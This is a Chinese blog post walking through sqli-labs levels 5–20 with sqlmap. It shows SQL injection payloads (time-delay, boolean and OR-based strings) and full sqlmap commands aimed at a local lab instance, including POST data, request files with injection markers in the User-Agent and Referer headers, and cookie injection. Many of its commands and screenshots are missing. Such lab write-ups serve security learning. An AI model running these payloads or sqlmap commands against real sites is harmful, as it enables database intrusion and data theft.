博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
对于sqli-labs基础篇全程使用sqlmap不用手工注入(七夕礼物!!!)
阅读量:6945 次
发布时间:2019-06-27

本文共 3516 字,大约阅读时间需要 11 分钟。

个人简介:

萌新一枚,渣渣一个,全程划水,会喊六六

本文断断续续已经写了三天了,其中查过很多其他人的博文

但是发现大多数人关于sql-labs使用的都是手工注入,

由于自己太渣,只能去找工具去注入(QAQ)

希望各位大佬不要见怪呀!!

不论喜欢与否都可以留言哦!!!!

关于sqli-labs的解题技巧,使用sqlmap注入,尽量少使用手工注入的方式 

关于sql-labs中的1-4我已经在另一篇文章中写出具体的过程:

sqli-labs:5-9 需要判断注入方式

具体判断方式如下:

1:用于验证时间延迟型的盲注:

?id=1’ and sleep(5) --+

 

2:用于判断布尔型盲注:

?id=1’ and 1=1 --+ , ?id=1' and 2=1 --

 

+

再根据回显的不同进行判断:

主要使用的语句:

或者:

其中的—technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入

B:Boolean-based-blind  (布尔型型注入)E:Error-based   (报错型注入)U:Union query-based  (联合注入)S:Starked queries   (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)T:Time-based blind  (基于时间延迟注入)

 

我们可以根据不同的报错提示更改—technique后面的字母

其中的—dbms : 不仅可以指定数据库类型,还可以指定数据库版本--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。-v 0参数只是为了更好的截图.

 

第八题:

使用语句为:

 

 

 

或者使用语句:

 

 

 

就可以得到数据库的信息

第九题

属于延迟注入的题目(具体判断方法上面已经给出)同样也可以使用上面类似的语句:

 

 

关于第11-17:

都是属于post注入的问题,只是内部参杂着盲注的问题,需要使用burp火狐浏览器的HackBar都是可以的·

第十一题:post注入,基于错误 - 字符型

 

 

根据post回显的值就可以进行sqlmap的跑测

使用的语句为:

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=11111 &passwd=111111 &submit=Submit" --dbs --threads 10 --batch --technique ES

 

其中的:

--data:后面可以加上数据段(post/get类型的都是可以的)--threads:最大并发线程,盲注时每个线程获取一个字符(7此请求),获取完成后线程结束,默认为1,建议不要超过10,否则可能影响站点可用性

 

 

 

 

下面的只是需要常规的操作就可以了

第十二题:

也是类似的过程就可以了:

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-12/?id=1" --data "uname= ")or ("1")=("1 &passwd= ")or ("1")=("1 &submit=Submit " --dbs --threads 10 --batch --technique E

 

 

 

或者使用语句:

 

 

 

第十三题:可以使用语句:

 

 

同样也是可以得到答案的(其他几个也是类似的手法)

第十五题:布尔和时间延迟的盲注,

简单的注入语句为:

 

 

 

下面就是属于sqli-labs 18-20,

这三题主要时关于http的内容

常见的HTTP注入点产生位置为

【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】

 

第18题:报错型,单引号,user-agent型注入点

 

 

由于这一题时关于user-agent的注入直接使用语句:

关于txt的内容:

 
POST /sqli-labs-master/Less-18/ HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0*Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/sqli-labs-master/Less-18/Content-Type: application/x-www-form-urlencodedContent-Length: 38Connection: closeUpgrade-Insecure-Requests: 1uname=admin&passwd=admin&submit=Submit
 

 

就是属于burp里面的内容

 

 

-r: sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)

 

或者也可以这样:

 

 

 

--user-agent http头会携带一个值,就是user-agent,表示访问的浏览器的信息sqlmap 检查uesr-agent中的注入点, lever>=3才会去检查user-agent头是否存在注入漏洞

 

第十九题:报错型,单引号,referer型注入点

这一题的做法如同上一题一样都可以使用:

只是存为1.txt的文档变成了这个:

 
POST /sqli-labs-master/Less-19/ HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/sqli-labs-master/Less-19/*Content-Type: application/x-www-form-urlencodedContent-Length: 38Connection: closeUpgrade-Insecure-Requests: 1 uname=admin&passwd=admin&submit=Submit
 

 

另外也可以使用这样的语句跑出数据库:

 

 

 

至于里面的一些内容上面已经有一些介绍了

下面是最后一题就是

第二十题:报错型,单引号,cookie型注入

对于最后一题,我就用一个最近一个看到的一题结束吧

题目链接:

 

 

直接进行抓包看一下:

 

 

Cookie有问题,直接使用sqlmap进行注入‘

 

 

 

--cookieweb应用基于cookie的身份验证,对于post请求,可以指定cookiesqlmap -u "url" --cookie="..." --level 3 –dbs

 

 

参考文章:

sql-labs Less : 

sqlmap注入总结:

SQLI-LAB  的 实战记录(Less 11 - Less 20):

您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。
微信
支付宝
作者:
出处:
关于作者:潜心于网络安全学习。如有问题或建议,请多多赐教!
版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接.
特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是作者坚持原创和持续写作的最大动力!
你可能感兴趣的文章
TCP/IP协议栈及OSI参考模型
查看>>
不同的角度,不同的玩法——用Python实现Fibonacci函数
查看>>
我的友情链接
查看>>
python将字典内容存入mysql
查看>>
python3的字符串格式化
查看>>
我的友情链接
查看>>
Javascript面向对象编程入门
查看>>
editText属性
查看>>
kubernetes 滚动更新
查看>>
svn+apache+ssl
查看>>
Oracle 10G 服务未启动
查看>>
360消息系统RPC基础库迭代
查看>>
[项目回顾]基于Redis的在线用户列表解决方案
查看>>
MySQL索引使用方法和性能优化
查看>>
vim 学习方法
查看>>
Extamil+postfix web页面管理发送虚拟账号邮件
查看>>
《设计模式系列》---模板方法
查看>>
Facebook推出应用中心 划定主要合作伙伴
查看>>
Runtime.addShutdownHook()(译)
查看>>
yum安装(本地yum源&网络yum源)
查看>>